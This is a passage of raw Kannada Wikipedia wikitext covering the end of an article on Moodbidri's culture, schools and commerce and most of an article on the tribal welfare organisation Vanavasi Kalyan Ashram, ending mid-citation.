ಮೂಡುಬಿದಿರೆಯ ಉತ್ಸಾಹಿ ವೈದ್ಯ ಡಾ. ಮೋಹನ ಆಳ್ವರು ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ ಏರ್ಪಡಿಸುತ್ತಿರುವ ''ಆಳ್ವಾಸ್ ನುಡಿಸಿರಿ'' ಯಾವುದೇ ಸಾಹಿತ್ಯ ಸಮ್ಮೇಳನಗಳಿಗೂ ಕಡಿಮೆ ಇಲ್ಲದ ರೀತಿಯಲ್ಲಿ ಕನ್ನಡದ ಕಂಪನ್ನು ಪಸರಿಸುತ್ತಿದೆ. ಸಾಹಿತಿಗಳಿಗೂ ಸಾಹಿತ್ಯಾಸಕ್ತರಿಗೂ ಸೂಕ್ತ ವೇದಿಕೆ ಒದಗಿಸಿ ಕನ್ನಡ ಸರಸ್ವತಿಯ [[ಜಾತ್ರೆ]]ಯನ್ನು ಪ್ರತಿ ವರ್ಷ ವಿಜೃಂಭಣೆಯಿಂದ ಆಚರಿಸುತ್ತಿರುವ ನುಡಿಸಿರಿ, ವರ್ಷಗಳುರುಳಿದಂತೆ ಹೆಚ್ಚಿನ ಕಳೆ, ಪ್ರಸಿದ್ಧಿ ಪಡೆದುಕೊಳ್ಳುತ್ತಾ ಸಾಹಿತ್ಯ ವಲಯದಲ್ಲಿ ಮೂಡುಬಿದಿರೆಯ ಹೆಸರನ್ನು ಮೇಲಕ್ಕೆತ್ತುತ್ತಿದೆ. ಇತ್ತೀಚೆಗೆ ವಿದ್ಯಾರ್ಥಿ ಸಿರಿಯನ್ನು ಆಯೋಜಿಸಲಾಗುತ್ತಿದೆ. == ಸಂಸ್ಕೃತಿ == ದಕ್ಷಿಣ ಕನ್ನಡ ಜಿಲ್ಲೆಯ ಮೂಡುಬಿದಿರೆಯು [[ನಾಗಾರಾಧನೆ]], [[ಭೂತಕೋಲ|ಭೂತ ಕೋಲ]]ಗಳಂತಹ ಆಚರಣೆಗಳನ್ನೂ [[ಯಕ್ಷಗಾನ]] ಬಯಲಾಟ, ನಾಟಕಗಳನ್ನೂ, ಸಂಗೀತ, ನೃತ್ಯ ಕಲೆಗಳನ್ನೂ ಒಳಗೊಂಡಿದೆ. [[ಹಿಂದೂ]] ಧಾರ್ಮಿಕ ಹಬ್ಬಗಳಲ್ಲಿ ಸಾರ್ವಜನಿಕ ಗಣೇಶೋತ್ಸವ, ಶಾರದೋತ್ಸವ, ಮಹಾಕಾಳಿ ಮಾರಿಗುಡಿ ಜಾತ್ರೆಗಳನ್ನೂ, ಜೈನರಲ್ಲಿ ಸಾವಿರಕಂಭದ ಬಸದಿಯ ವಾರ್ಷಿಕೋತ್ಸವ, ಪದ್ಮಾವತಿ ಅಮ್ಮನವರ ಬಸದಿಯ ನವರಾತ್ರಿ ಉತ್ಸವಗಳನ್ನೂ ಮುಸ್ಲಿಮರ ಉರೂಸ್ ಮುಬಾರಕ್‍ಗಳನ್ನೂ ಕ್ರೈಸ್ತರ ಸಂತ ಮೇರಿ ಉತ್ಸವ, ಕ್ರಿಸ್‍ಮಸ್‍ಗಳನ್ನೂ ಆಚರಿಸುತ್ತಾರೆ. ಇಲ್ಲಿನ [[ಆಳ್ವಾಸ್ ಕಾಲೇಜು ಮೂಡುಬಿದಿರೆ|ಆಳ್ವಾಸ್ ಕಾಲೇಜಿನಲ್ಲಿ]] ಪ್ರತಿ ವರ್ಷ ''ಆಳ್ವಾಸ್ ವಿರಾಸತ್'' ಮತ್ತು [[ಆಳ್ವಾಸ್ ನುಡಿಸಿರಿ]] ಕಾರ್ಯಕ್ರಮಗಳು ನಡೆಯುತ್ತವೆ. ಮೂಡುಬಿದಿರೆಯ ಕಡಲಕೆರೆಯ ಬಳಿ ನಿರ್ಮಿಸಲಾದ [[ಕಂಬಳ]]ದ ಗದ್ದೆಯಲ್ಲಿ ಪ್ರತಿ ವರ್ಷ ನಡೆಯುವ ಕಂಬಳ ನಡೆಯುತ್ತದೆ. == ಶಿಕ್ಷಣ == [[File:ALVA's Institute of Engineering & Technology, Moodabidri.jpg|thumb|ಅಳ್ವಾಸ್ ತಾಂತ್ರಿಕ ಮಹಾವಿದ್ಯಾಲಯ]] #ಜೈನ ಪ್ರೌಢ ಶಾಲೆ ಮತ್ತು ಪದವಿಪೂರ್ವ ವಿದ್ಯಾಲಯ #ಆಳ್ವಾಸ್ ಶಿಕ್ಷಣ ಪ್ರತಿಷ್ಠಾನ<ref>http://alvas.org/</ref> #ಶ್ರೀಮಹಾವೀರ ಮಹಾವಿದ್ಯಾಲಯ #ಶ್ರೀಧವಳಾ ಮಹಾವಿದ್ಯಾಲಯ #ದಿಗಂಬರ ಜೈನ ಪ್ರಾಥಮಿಕ ಶಾಲೆ #ಬಾಬು ರಾಜೇಂದ್ರ ಪ್ರಸಾದ ಪ್ರೌಢ ಶಾಲೆ #ಹೋಲಿ ರೋಸರಿ ಪ್ರೌಢ ಶಾಲೆ #ಜ್ಯೋತಿನಗರ ಸರಕಾರಿ ಹಿರಿಯ ಪ್ರಾಥಮಿಕ ಶಾಲೆ. #ಪ್ರಾಂತ್ಯ ಹಿರಿಯ ಪ್ರಾಥಮಿಕ ಶಾಲೆ ಇವುಗಳು ಪ್ರಮುಖವಾದವು. ನಂತರದ ದಿನಗಳಲ್ಲಿ ಪ್ರಾಂತ್ಯ ಸರಕಾರಿ ಪ್ರೌಢ ಶಾಲೆ,ರೋಟರಿ ಆಂಗ್ಲ ಮಾಧ್ಯಮ ಪ್ರಾಥಮಿಕ ಮತ್ತು ಪ್ರೌಢ ಶಾಲೆ, ಸಂತ ಥಾಮಸ್‍ ಶಾಲೆ,ಕಲ್ಲಬೆಟ್ಟು ಸರಕಾರಿ ಪ್ರಾಥಮಿಕ ಶಾಲೆ ಮತ್ತಿತರವು ಅಸ್ತಿತ್ವಕ್ಕೆ ಬಂದವು. ಎಂಭತ್ತರ ದಶಕದಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ ಸರಕಾರಿ ಸಹಕಾರ ತರಬೇತಿ ಸಂಸ್ಥೆ,ಎಸ್ ಎನ್ ಮೂಡುಬಿದಿರೆ ಪಾಲಿಟೆಕ್ನಿಕ್‍,ಎ ಜಿ ಸೋನ್ಸ್ ಕೈಗಾರಿಕಾ ತರಬೇತಿ ಸಂಸ್ಥೆ, ಎಂ ಕೆ ಅನಂತರಾಜ ದೈಹಿಕ ಶಿಕ್ಷಣ ಮಹಾವಿದ್ಯಾಲಯಗಳು ವೃತ್ತಿಪರ ಶಿಕ್ಷಣಕ್ಕೂ ಅವಕಾಶ ಕಲ್ಪಿಸಿದವು. ತೊಂಭತ್ತರ ದಶಕದಲ್ಲಿ ಸ್ಥಾಪಿತವಾಗಿ ದೇಶಾದ್ಯಂತ ಹೆಸರು ಮಾಡಿರುವ ಆಳ್ವಾಸ್ ಶಿಕ್ಷಣ ಸಂಸ್ಥೆಗಳು ಪದವಿಪೂರ್ವ ಮತ್ತು ಪದವಿ ವಿದ್ಯಾಲಯ, ದಾದಿಯರ ಶಿಕ್ಷಣ ಸಂಸ್ಥೆ, ಆಯುರ್ವೇದ ಮಹಾವಿದ್ಯಾಲಯ, ತಾಂತ್ರಿಕ ಶಿಕ್ಷಣ ಮಹಾವಿದ್ಯಾಲಯಗಳನ್ನೊಳಗೊಂಡಿವೆ. == ವಾಣಿಜ್ಯ == ಮೂಡುಬಿದಿರೆಯ ವ್ಯಾಪಾರಿಗಳು ದೇಶ-ವಿದೇಶಗಳ ವಿವಿಧ ಸ್ಥಳಗಳ ವ್ಯಾಪಾರಿಗಳೊಂದಿಗೆ ವ್ಯವಹಾರ ಸಂಬಂಧ ಇಟ್ಟುಕೊಂಡಿದ್ದರೆಂದು ತಿಳಿದಿದೆ. ಇದಕ್ಕೆ ಸಣ್ಣ ಉದಾಹರಣೆಯಾಗಿ ಸಾವಿರ ಕಂಬದ ಬಸದಿಯ ಗೋಡೆಯ ಮೇಲೆ ಕೆತ್ತಲಾದ ಡ್ರಾಗನ್ ಪ್ರಾಣಿಯ ಉಬ್ಬು ಚಿತ್ರವನ್ನು ಗಮನಿಸಬಹುದು. ಆ ಕಾಲದಲ್ಲೇ ವ್ಯಾಪಾರಿಗಳು [[ಚೀನಾ|ಚೀನಾದೊಂದಿಗೆ]] ವ್ಯಾಪಾರ ಸಂಬಂಧವಿಟ್ಟುಕೊಂಡಿದ್ದರೆಂದು ಇದರಿಂದ ತಿಳಿಯುತ್ತದೆ. ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ ಮೂಡುಬಿದಿರೆ ಮತ್ತು ಆಸುಪಾಸಿನಲ್ಲಿ [[ಗೋಡಂಬಿ]] ಉದ್ಯಮ, [[ಕೃಷಿ]], [[ಕೈಗಾರಿಕೆಗಳು]], [[ಭತ್ತ]], ಎಣ್ಣೆಯ ಗಾಣಗಳು, [[ಆಯುರ್ವೇದ|ಆಯುರ್ವೇದೀಯ]] [[ಔಷಧ]] ತಯಾರಿಕೆ ಇತ್ಯಾದಿಗಳು ಬೆಳೆದು ನಿಂತಿವೆ. ==ಉಲ್ಲೇಖ== <references/> {{commons category|Moodabidri}} [[ವರ್ಗ:ಕರ್ನಾಟಕದ ಪ್ರಮುಖ ಸ್ಥಳಗಳು]] [[ವರ್ಗ:ದಕ್ಷಿಣ ಕನ್ನಡ ಜಿಲ್ಲೆ]] [[ವರ್ಗ:ಮಂಗಳೂರು ತಾಲೂಕಿನ ಪ್ರವಾಸಿ ತಾಣಗಳು]] ==ಬಾಹ್ಯ ಸಂಪರ್ಕಗಳು== http://www.moodabidri.com/ d80zd9sgtq20h8s1f6wrxlzrxkkjbh4 ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮ 0 20446 1116446 1047208 2022-08-23T12:46:51Z InternetArchiveBot 69876 Rescuing 5 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki [[File:Vanavasi kalyan Ashram sidhis.jpg|thumb|left|300px|ಉತ್ತರ ಕರ್ನಾಟಕದಲ್ಲಿ [[ಸಿದ್ದಿ ಜನಾಂಗ|ಸಿದ್ದಿ]]ಗಳಿಗಾಗಿ ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮವು ನಡೆಸುತ್ತಿರುವ ಶಾಲೆಯ ಒಂದು ದೃಶ್ಯ]] <!-- template does not exist yet, can be uncommented once the template is available {{Infobox Non-profit | Non-profit_name = ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮ | Non-profit_logo = | Non-profit_type = ಬುಡಕಟ್ಟು ಜನರ ಅಭಿವೃದ್ಢಿ | founded_date = ಡಿಸೆಂಬರ್ ೧೯೫೨ | founder = [[ಬಾಳಾಸಾಹೇಬ್ ದೇಶಪಾಂಡೆ]] | location = [[ಭಾರತ]] | origins = | key_people = [[ಬಾಳಾಸಾಹೇಬ್ ದೇಶಪಾಂಡೆ|ಶ್ರೀ ರಮಾಕಾಂತ ಕೇಶವ ದೇಶಪಾಂಡೆ ''ಉಪನಾಮ'' ಬಾಳಾಸಾಹೇಬ್ ದೇಶಪಾಂಡೆ]] | area_served = Health-care, education, basic amenities, tribal sports and preserving tribal culture | focus = Tribal and Indigenous communities of India | method = | revenue = | endowment = | num_volunteers = | num_employees = | num_members = | owner = | Non-profit_slogan = | homepage = http://www.vanavasikalyan.org | dissolved = | footnotes = }} --> '''ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮ'''ವು [[ಭಾರತ]]ದ ಬುಡಕಟ್ಟು ಜನ ಮತ್ತು ಗಿರಿಜನರ (''ವನವಾಸಿಗಳು'') ಸಾಮಾಜಿಕ ಮತ್ತು ಆರ್ಥಿಕ ಏಳಿಗೆ ಮತ್ತು ಅಭಿವೃದ್ಡಿಗಾಗಿ ಶ್ರಮಿಸುತ್ತಿರುವ ಅಖಿಲ ಭಾರತ ಮಟ್ಟದ ಸೇವಾಸಂಸ್ಥೆಯಾಗಿದೆ. [[ಆಶ್ರಮ]]ವು ದೂರದ ವನವಾಸಿ [[ಗ್ರಾಮ]]/ಹಾಡಿಗಳಲ್ಲಿ ತನ್ನ ಸೇವಾ ಕಾರ್ಯಗಳ ಮೂಲಕ ಹಾಗೂ ಹಲವು ಹತ್ತು ವೈವಿದ್ಯಮಯ ಕಾರ್ಯಕ್ರಮಗಳ ಮೂಲಕ ವನವಾಸಿ ಬಂಧುಗಳು ಸ್ವಾವಲಂಬಿ ಮತ್ತು ಸ್ವಾಭಿಮಾನಿಗಳಾಗಲು ಶ್ರಮಿಸುತ್ತಿದೆ. ಸಂಸ್ಥೆಯ ಕೆಲಸವು ರಾಷ್ಟ್ರವ್ಯಾಪಿ ಮಟ್ಟದಲ್ಲಿ ನಡೆಯುತ್ತಿದೆ. ೨೦೦೨ರಲ್ಲಿ [[ವಾರಾಣಸಿ|(ವಾರಾಣಾಸಿ|ವಾರಾಣಸಿ)]]ಯಲ್ಲಿ ನಡೆದ ವಾರ್ಷಿಕ ಸಮಾವೇಶದಲ್ಲಿ ಆಶ್ರಮದ ರಾಷ್ಟ್ರೀಯ ಆಧ್ಯಕ್ಷರು ಮಾಧ್ಯಮಗಳಿಗೆ ತಿಳಿಸಿದ ಪ್ರಕಾರ ಇದು ದೇಶದ ೩೧೨ ಜಿಲ್ಲೆಗಳಲ್ಲಿ ವನವಾಸಿಗಳ ಕ್ಷೇಮಾಭಿವೃದ್ಢಿಗಾಗಿ ಹಲವಾರು ಯೋಜನೆಗಳನ್ನು ಹಮ್ಮಿಕೊಂಡಿದೆ. ೧೨೦೩ ಪೂರ್ಣಾವಧಿ ಕಾರ್ಯಕರ್ತರ ಮೇಲ್ವಿಚಾರಣೆಯಲ್ಲಿ ಈ ಮಹತ್ತರ ಕೆಲಸ ನಡೆಯುತ್ತಿದೆಯೆಂದೂ ಸಹ ಅವರು ತಿಳಿಸಿದರು. ಕೃಷಿ, ಆರೋಗ್ಯ, ಔಪಚಾರಿಕ ಮತ್ತು ಅನೌಪಚಾರಿಕ ಶಿಕ್ಷಣ, ಕ್ರೀಡೆ ಮತ್ತು ಸಾಂಸ್ಕೃತಿಕ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಕ್ಷೇಮಾಭಿವೃದ್ಢಿಯೇ ಈ ಯೋಜನೆಗಳ ಉದ್ದೇಶವಾಗಿದೆ. ವನವಾಸಿಗಳು ವಾಸವಾಗಿರುವ ಬಹುತೇಕ ಜಿಲ್ಲೆಗಳಲ್ಲಿ ಪ್ರಾಥಮಿಕ ಶಾಲೆ, ವಸತಿ ಸಹಿತ ಶಾಲೆ, ವಿದ್ಯಾರ್ಥಿ ನಿಲಯ, ಗ್ರಂಥಾಲಯ ಮತ್ತು ಆರೋಗ್ಯ ಕೇಂದ್ರಗಳನ್ನು ಆಶ್ರಮವು ನಡೆಸುತ್ತದೆ. ವಾರ್ಷಿಕವಾಗಿ ನಡೆಯುವ ಹಲವಾರು ಆಯೋಜನೆಗಳಲ್ಲಿ ವೈದ್ಯಕೀಯ ಶಿಬಿರ, ಪಾರಂಪರಿಕ ಕ್ರೀಡೆಗಳ ಸ್ಪರ್ದಾಕೂಟ, ಮತ್ತು ಬುಡಕಟ್ಟು ಜನರ ಹಬ್ಬಗಳ ಆಚರಣೆಗಳು ಮುಖ್ಯವಾದವುಗಳು.<ref name="govind">ಗೋವಿಂದ ಚಂದ್ರ ರಥ್, ಟ್ರೈಬಲ್ ಡೆವೆಲಪ್ಮೆಂಟ್ ಇನ್ ಇಂಡಿಯಾ, ೨೦೦೬, ಇಂಗ್ಲೀಷ್</ref>. ಕರ್ನಾಟಕದಲ್ಲಿ ೨೦೧೫ನೇ ಇಸವಿಯಲ್ಲಿ ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮ ರಾಜ್ಯದ ೧೦ ಜಿಲ್ಲೆಗಳ ೨೧ ತಾಲೂಕುಗಳಲ್ಲಿ ಕಾರ್ಯನಿರವಹಿಸುತ್ತಿತ್ತು<ref name="ವಿಕೆಎಸುಳ್ಯ">{{cite web| last1=| first1=| title=ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮದಿಂದ ವನವಾಸಿ ವಿಧ್ಯಾರ್ಥಿಗಳಿಗಾಗಿ ಕರ್ನಾಟಕದಲ್ಲಿ ೬ನೇ ವಿಧ್ಯಾರ್ಥಿ ನಿಲಯ| url=https://samvada.org/2015/news/vka-new-hostel-sullia/| website=samvada.org| publisher=samvada| accessdate=7 May 2020| archive-date=13 ಜೂನ್ 2018| archive-url=https://web.archive.org/web/20180613085813/https://samvada.org/2015/news/vka-new-hostel-sullia/| url-status=bot: unknown}}</ref>. ==ಕ್ಷೇಮಾಭಿವೃದ್ಢಿ== [[ಚಿತ್ರ:Vanvasi kalyan Ashram folk dance.jpg|thumb|right|300px|ಆಶ್ರಮದಿಂದ ಆಯೋಜಿತ ಒಂದು ಕಾರ್ಯಕ್ರಮದಲ್ಲಿ ವನವಾಸಿ ಬಂಧುಗಳಿಂದ ಜಾನಪದ ನೃತ್ಯ]] ===ಆರ್ಥಿಕ=== ===ಶೈಕ್ಷಣಿಕ=== ವನವಾಸಿಗಳಲ್ಲಿ ಶಿಕ್ಷಣ ಮಟ್ಟ ಅತ್ಯಂತ ಕಡಿಮೆ ಇದೆ. ಇದನ್ನು ಮನಗಂಡು ಆಶ್ರಮವು ಎರಡು ಪ್ರಕಾರಗಳಲ್ಲಿ ಕಾರ್ಯ ಕೈಗೊಂಡಿದೆ.<ref name="varshikaVaradi">ವಾರ್ಷಿಕ ವರದಿ ೨೦೦೮-೦೯, ವನವಾಸಿ ಕಲ್ಯಾಣ (ರಿ) ಕರ್ನಾಟಕ</ref><ref name=aiming>ಏಮಿಂಗ್ ಹೈ: ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮ ಈಜ್ ಹೆಲ್ಪಿಂಗ್ ಟ್ರೈಬಲ್ಸ್ ಅಛೀವ್ ಸೆಲ್ಫ್-ರಿಲೈಯನ್ಸ್, ದಿ ಹಿಂದು, ಆಂಗ್ಲ ದಿನಪತ್ರಿಕೆ, ಶನಿವಾರ, ಫೆಬ್ರುವರಿ ೨೫, ೨೦೦೬</ref> * '''ಅನೌಪಚಾರಿಕ ಶಿಕ್ಷಣ''' ಇದರಲ್ಲಿ ವನವಾಸಿ ಹಾಡಿಗಳಲ್ಲಿನ ಎಲ್ಲಾ ವಯಸ್ಸಿನ ಜನಗಳಿಗೂ ಮುಟ್ಟುವಂತೆ ಚಟುವಟಿಕೆಗಳನ್ನು ನಡೆಸಲಾಗುತ್ತದೆ. ''ಶಿಶುಮಂದಿರ'': ೩ ರಿಂದ ೬ ವರ್ಷ ವಯಸ್ಸಿನ ಮಕ್ಕಳಿಗೆ ಪ್ರತಿದಿನ ೩ ಗಂಟೆಗಳ ಕಾಲ ಶಿಶುಗೀತೆ, ನೃತ್ಯ, ಶ್ಲೋಕ, ಆಟ, ಬಾಯಿಪಾಟ, ಕಥೆ ಮುಂತಾದ ಪ್ರಾಥಮಿಕ ಸಂಗತಿಗಳನ್ನು ಕಲಿಸಲಾಗುತ್ತದೆ. ಇದು ನಗರದಲ್ಲಿ ನಡೆಯುವ ಪೂರ್ವ ಪ್ರಾಥಮಿಕ ಶಾಲೆಯ ಹೋಲಿಕೆಯಂತಿದ್ದು, ಮಕ್ಕಳಲ್ಲಿ ಮತ್ತು ಪಾಲಕರಲ್ಲಿ ಶಿಕ್ಷಣದ ಬಗ್ಗೆ ಅರಿವು ಮೂಡಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ''ಬಾಲ ಸಂಸ್ಕಾರ ಕೇಂದ್ರ'': ೬ ರಿಂದ ೧೪ ವಯಸ್ಸಿನ ಮಕ್ಕಳಿಗಾಗಿ ಮೂರು ಗಂಟೆಗಳ ಕಾಲ ಆಟ, ಭಜನೆ, ದೇಶಭಕ್ತಿ ಗೀತೆ ಮತ್ತು ಕಥೆ ಹೇಳಿಕೊಡುವ ಕೇಂದ್ರ. ''ಮನೆ ಪಾಠ'': ಬಾಲ ಸಂಸ್ಕಾರ ಕೇಂದ್ರದ ಮುಂದುವರಿದ ಭಾಗವಾಗಿ ಶಾಲೆ ಬಿಟ್ಟ ಮಕ್ಕಳಿಗೆ ಮತ್ತು ಹಿರಿಯರಿಗೆ ಅಕ್ಷರಾಭ್ಯಾಸ ಮಾಡಿಸುವುದು. ಹಾಗೂ ಶಾಲೆಗೆ ಹೋಗುವ ಮಕ್ಕಳಿಗೆ ಪಾಠ ಪ್ರವಚನಗಳನ್ನು ನಡೆಸುವದು. ಈ ಎಲ್ಲಾ ಚಟುವಟಿಕೆಗಳನ್ನು ವನವಾಸಿ ಹಾಡಿಗಳಲ್ಲಿ ವಸತಿ ಮಾಡುವ ಆಶ್ರಮದ ಪೂರ್ಣಾವಧಿ ಮಹಿಳಾ ಸೇವಾವ್ರತಿಗಳು ನಡೆಸುತ್ತಾರೆ. * '''ವಿದ್ಯಾರ್ಥಿ ನಿಲಯ''' [[ಚಿತ್ರ:The Union Minister for Tribal Affairs, Shri Jual Oram addressing the gathering after inaugurating a Boy’s Hostel of Vanavasi Kalyan Ashram, at Gayerkata, Jalpaiguri, West Bengal on October 30, 2015.jpg|thumb|right|300px|೨೦೧೫ರಲ್ಲಿ ಕೇಂದ್ರೀಯ ಬುಡಕಟ್ಟು ವ್ಯವಹಾರಗಳ ಸಚಿವ ಶ್ರೀ ಜುವಲ್ ಓರಮ್, ಪಶ್ಚಿಮ ಬಂಗಾಳದ ಜಲ್ಪಾಯಿಗುರಿಯಲ್ಲಿ ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮದಿಂದ ನಡೆಸಲಾಗುವ ಬಾಲಕರ ವಿದ್ಯಾರ್ಥಿ ನಿಲಯವನ್ನು ಉದ್ಘಾಟಿಸಿದರು.]] ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮವು ಹಾಡಿಗಳ ಮಕ್ಕಳಿಗೋಸ್ಕರ ವಿದ್ಯಾರ್ಥಿ ನಿಲಯವನ್ನು ಸ್ಥಾಪಿಸುವದರ ಮೂಲಕ ಅವರ ವಿದ್ಯಾಭ್ಯಾಸಕ್ಕೆ ಅನುಕೂಲತೆಗಳನ್ನು ಕಲ್ಪಿಸಿದೆ. [[ಕರ್ನಾಟಕ]]ದಲ್ಲಿ ಪ್ರಸ್ತುತ ಇಂತಹ ೬ ವಿದ್ಯಾರ್ಥಿ ನಿಲಯಗಳನ್ನು ನಡೆಸುತ್ತಿದೆ. ಹೆಣ್ಣುಮಕ್ಕಳಿಗಾಗಿ [[ದಾಂಡೇಲಿ]]ಯಲ್ಲಿ ಮತ್ತು ಗಂಡು ಮಕ್ಕಳಿಗಾಗಿ ಚಿಪಗೇರಿ, [[ಅಂಬಿಕಾನಗರ]], [[ಕುಮಟಾ]] ಹಾಗೂ ಮಂಗಲಗಳಲ್ಲಿ ಇವೆ. [[ಮಂಗಳೂರು|ಮಂಗಳೂರಿನ]] [[ಸುಳ್ಯ]]ದ ಅಡ್ಕಾರ್ ಎಂಬ ಪ್ರದೇಶದಲ್ಲಿ <ref name="ವಿಕೆಎಸುಳ್ಯ"/> ೨೦೧೫ರಲ್ಲಿ ೬ನೇ ನಿಲಯ ಶುರುವಾಯಿತು. ಈ ವಿದ್ಯಾರ್ಥಿನಿಲಯಗಳಲ್ಲಿ ಪಠ್ಯೇತರ ಚಟುವಟಿಕೆಗಳಾದ ಆಟಗಳು, [[ಯೋಗ|ಯೋಗಾಸನ]], ಶಾರೀರಿಕ ಶಿಕ್ಷಣಗಳಲ್ಲದೆ ಸಂಸ್ಕಾರಪೂರಕವಾದ [[ಭಜನೆ]], ದೇಶಭಕ್ತಿಗೀತೆ, ವೀರಪುರುಷರ ಕಥೆಗಳು, [[ಶ್ಲೋಕ]]ಗಳು, ನೃತ್ಯ ಇತ್ಯಾದಿಗಳನ್ನು ಕಲಿಸಲಾಗುತ್ತದೆ. ಜ್ಞಾನಾರ್ಜನೆಗಾಗಿ [[ಗ್ರಂಥಾಲಯಗಳು|ಪುಸ್ತಕ ಭಂಡಾರ]]ದ ವ್ಯವಸ್ತೆಯೂ ಇದೆ. ದೂರದುಸ್ತರವಾದ ಸರಕಾರಿ ಶಾಲೆಗಳಿಲ್ಲದ ವನವಾಸಿ ಹಾಡಿಗಳಲ್ಲಿ ಆಶ್ರಮವು [[:en:Ekal Vidyalaya|ಏಕಲ್ ವಿದ್ಯಾಲಯ]]ಗಳ ಜಾಲವನ್ನೇ ಹೊಂದಿದೆ. ಇವು ಒಬ್ಬ ಶಿಕ್ಷಕರಿಂದಲೇ ನಡೆಸಲ್ಪಡುವ ಶಾಲೆಗಳಾಗಿರುತ್ತವೆ.<ref name=aiming /> ===ಪಾರಂಪರಿಕ ಕ್ರೀಡೆಗಳು=== [[ಚಿತ್ರ:Vanvasi kalyan archery competetion.jpg|thumb|right|300px|ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮದಿಂದ ಆಯೋಜಿತ ಬಿಲ್ಲುವಿದ್ಯೆ ಸ್ಪರ್ದೆಯಲ್ಲಿ ಪಾಲ್ಗೊಂಡ ವನವಾಸಿ ಬಂಧುಗಳು]] ===ಸಂಸ್ಕೃತಿಯ ರಕ್ಷಣೆ=== ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮವು ವನವಾಸಿ ಬಂಧುಗಳ ಸಂಸ್ಕೃತಿಯ ರಕ್ಷಣೆ, ಪೋಷಣೆ ಮಾಡುತ್ತಿದೆ. ಜೊತೆಗೆ ಅವರ ಹಕ್ಕುಗಳ ರಕ್ಷಣೆಗಾಗಿ ಕೇಂದ್ರ ಮತ್ತು ರಾಜ್ಯ ಸರ್ಕಾರಗಳೊಂದಿಗೆ ಸತತವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ <ref name="ಸುಗ್ರೀವಾಜ್ಞೆಗಾಗಿ ಆಗ್ರಹ">{{cite web| last1=| first1=| title=ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮದಿಂದ ೧೦ ಲಕ್ಷ ವನವಾಸಿ ಪರಿವಾರಗಳ ರಕ್ಷಣೆಗಾಗಿ ಸುಗ್ರೀವಾಜ್ಞೆಗಾಗಿ ಆಗ್ರಹ| url=https://www.news18.com/news/india/rss-affiliate-vanvasi-kalyan-ashram-demands-ordinance-to-prevent-eviction-of-over-10-lakh-tribal-families-2048525.html| website=www.news18.com| publisher=news18| accessdate=7 May 2020| archive-date=27 ಫೆಬ್ರವರಿ 2019| archive-url=https://web.archive.org/web/20190227212748/https://www.news18.com/news/india/rss-affiliate-vanvasi-kalyan-ashram-demands-ordinance-to-prevent-eviction-of-over-10-lakh-tribal-families-2048525.html| url-status=bot: unknown}}</ref> ==ಸೇವಾ== ವನವಾಸಿ ಹಾಡಿಗಳಿಗೆ ಹಾದಿ ಸಾಮಾನ್ಯವಾಗಿ ದುಸ್ತರವಾಗಿರುತ್ತದೆ. ಯಾವುದಾದರೂ ದೊಡ್ಡ ತೊಂದರೆ ಬಂದಾಗ ಅಲ್ಲಿರುವ ವನವಾಸಿ ಬಂಧುಗಳಿಗೆ ಜೀವನಾವಶ್ಯಕ ವಸ್ತುಗಳು ಸಿಗುವುದು ದುಸ್ತರವಾಗುತ್ತದೆ. ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮವು ಇಂತಹ ಸಮಯದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದ ಕೆಲ ಉದಾಹರಣೆಗಳಲ್ಲಿ ಕೆಲವು ಹೀಗಿದೆ. * ೨೦೧೬ನೇ ಇಸವಿಯಲ್ಲಿ [[:en:Floods in Bihar|ಬಿಹಾರದ ಪ್ರವಾಹ]]ದ ಸಮಯ, ಗಂಜೀ ಕೇಂದ್ರಗಳನ್ನು ನಿರ್ವಹಿಸಿದ ಕಾರಣ ಹಲವು ವನವಾಸಿ ಪರಿವಾರಗಳಿಗೆ ಸಹಾಯ ತಲುಪಿತು<ref>{{cite web |last1= |first1= |title=ಬಿಹಾರದಲ್ಲಿ ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮದ ಸೇವಾಕಾರ್ಯ|url=https://web.archive.org/save/https://www.jagran.com/bihar/kishanganj-foods-distribute-in-flood-safarars-14509340.html| website=www.jagran.com| publisher=jagran| accessdate=7 May 2020}}</ref>. * ಇತ್ತೇಚೆಗೆ [[ಕೊರೋನಾವೈರಸ್ ಕಾಯಿಲೆ ೨೦೧೯|ಕೋವಿಡ್-೧೯]] ಮಹಾಮಾರಿಯಿಂಧ ಸುಮಾರು ೧೩ ಜಿಲ್ಲೆಗಳ, ೬,೦೦೦ ವನವಾಸಿ ಬಂಧುಗಳ ನೆರವಿಗೆ "Reaching the Unreached" (ನೆರವು ತಲುಪದವರಿಗೆ ತಲುಪಿಸುವ ಸೇವಾಕಾರ್ಯ) ಎಂಬ ಕಾರ್ಯಕ್ರಮದ ಮೂಲಕ ಮುಟ್ಟಿತು<ref name="ಕೋವಿಡಕಾರ್ಯ">{{cite web| last1=| first1=| title=ಕೋವಿಡ್-೧೯ ಸಮಯದಲ್ಲಿ ವನವಾಸಿ ಕಲ್ಯಾಣ ಆಶ್ರಮದಿಂದ ಸೇವಾಕಾರ್ಯ| url=https://samvada.org/2020/news/reaching-the-unreached-vanavasi-kalyana-karnatakas-seva-to-tribal-community-during-covid19-lockdown/| website=samvada.org| publisher=samvada| accessdate=7 May 2020| archive-date=4 ಮೇ 2020| 